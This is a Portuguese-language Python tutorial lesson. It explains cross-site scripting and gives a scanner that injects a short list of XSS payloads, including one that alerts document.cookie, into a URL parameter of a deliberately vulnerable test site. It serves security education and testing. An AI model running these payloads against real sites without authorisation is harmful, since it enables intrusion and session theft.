Injeta payloads de JavaScript para testar falta de sanitização.

Contexto

O Cross-Site Scripting (XSS) ocorre quando uma aplicação web aceita dados de entrada (como parâmetros de busca, comentários ou nomes de usuário) e os exibe no navegador de outros usuários sem a devida sanitização ou codificação.

O objetivo deste Brute Forcer é automatizar o envio de uma lista de payloads (pequenos trechos de código JavaScript) para os campos de entrada de um site. O script verifica se o código injetado é retornado "puro" no código HTML da resposta. Se o navegador executar esse script, um atacante poderia roubar cookies de sessão, redirecionar usuários ou sequestrar contas.

Possibilidades de Implementação

  • Reflected XSS Scanner: Testa parâmetros GET na URL e verifica se o payload aparece no corpo da página.
  • Stored XSS Tester: Envia dados via POST (como em um formulário de cadastro) e depois verifica se o script permanece salvo na página.
  • Headless Browser Integration: Usar ferramentas como Selenium ou Playwright para confirmar se o JavaScript foi realmente executado, indo além da simples verificação de texto no HTML.

Código

Este módulo utiliza a biblioteca requests para testar uma lista de payloads contra um parâmetro específico de uma URL.

Requisito: pip install requests

import requests
from html import escape

# Lista de payloads comuns para testar diferentes filtros
XSS_PAYLOADS = [
    "<script>alert('XSS')</script>",
    "<img src=x onerror=alert(1)>",
    "svg/onload=alert(1)>",
    "javascript:alert(1)//",
    "'><script>alert(document.cookie)</script>"
]

def scan_xss(url, parameter):
    """
    Injeta payloads de JavaScript em um parâmetro específico da URL.
    """
    print(f"[*] Iniciando Brute Force de XSS em: {url}")
    print(f"[*] Parâmetro alvo: {parameter}\n")

    found_vulnerabilities = 0

    for payload in XSS_PAYLOADS:
        # Monta a URL com o payload no parâmetro escolhido
        params = {parameter: payload}

        try:
            response = requests.get(url, params=params, timeout=5)

            # Verificamos se o payload exato aparece no HTML da resposta
            # Se aparecer sem conversão (ex: < virando &lt;), a página é vulnerável
            if payload in response.text:
                print(f"[!] POSSÍVEL XSS ENCONTRADO!")
                print(f"[*] Payload: {payload}")
                print(f"[*] URL: {response.url}")
                print("-" * 30)
                found_vulnerabilities += 1

        except requests.exceptions.RequestException as e:
            print(f"[!] Erro de conexão: {e}")
            break

    print(f"\n[*] Scan finalizado. {found_vulnerabilities} vulnerabilidades potenciais.")

def main():
    print("=" * 60)
    print("Módulo: XSS Brute Forcer | Projeto: 30 Lessons in Python")
    print("=" * 60)

    # Exemplo de URL de laboratório (sempre use em ambientes controlados)
    target_url = "http://testphp.vulnweb.com/search.php"
    target_param = "test"

    scan_xss(target_url, target_param)

if __name__ == "__main__":
    main()

Observações

  • Falsos Positivos: O fato de o texto estar no HTML não garante que ele será executado (o navegador pode ter filtros de segurança como o Content Security Policy - CSP).
  • Codificação: Algumas aplicações convertem caracteres como < em &lt;. Este script identifica isso como uma falha de "não sanitização" se encontrar o caractere puro.
  • Contexto HTML: Payloads podem precisar variar dependendo de onde caem (dentro de uma tag <a>, dentro de um atributo value, ou dentro de um bloco <script>).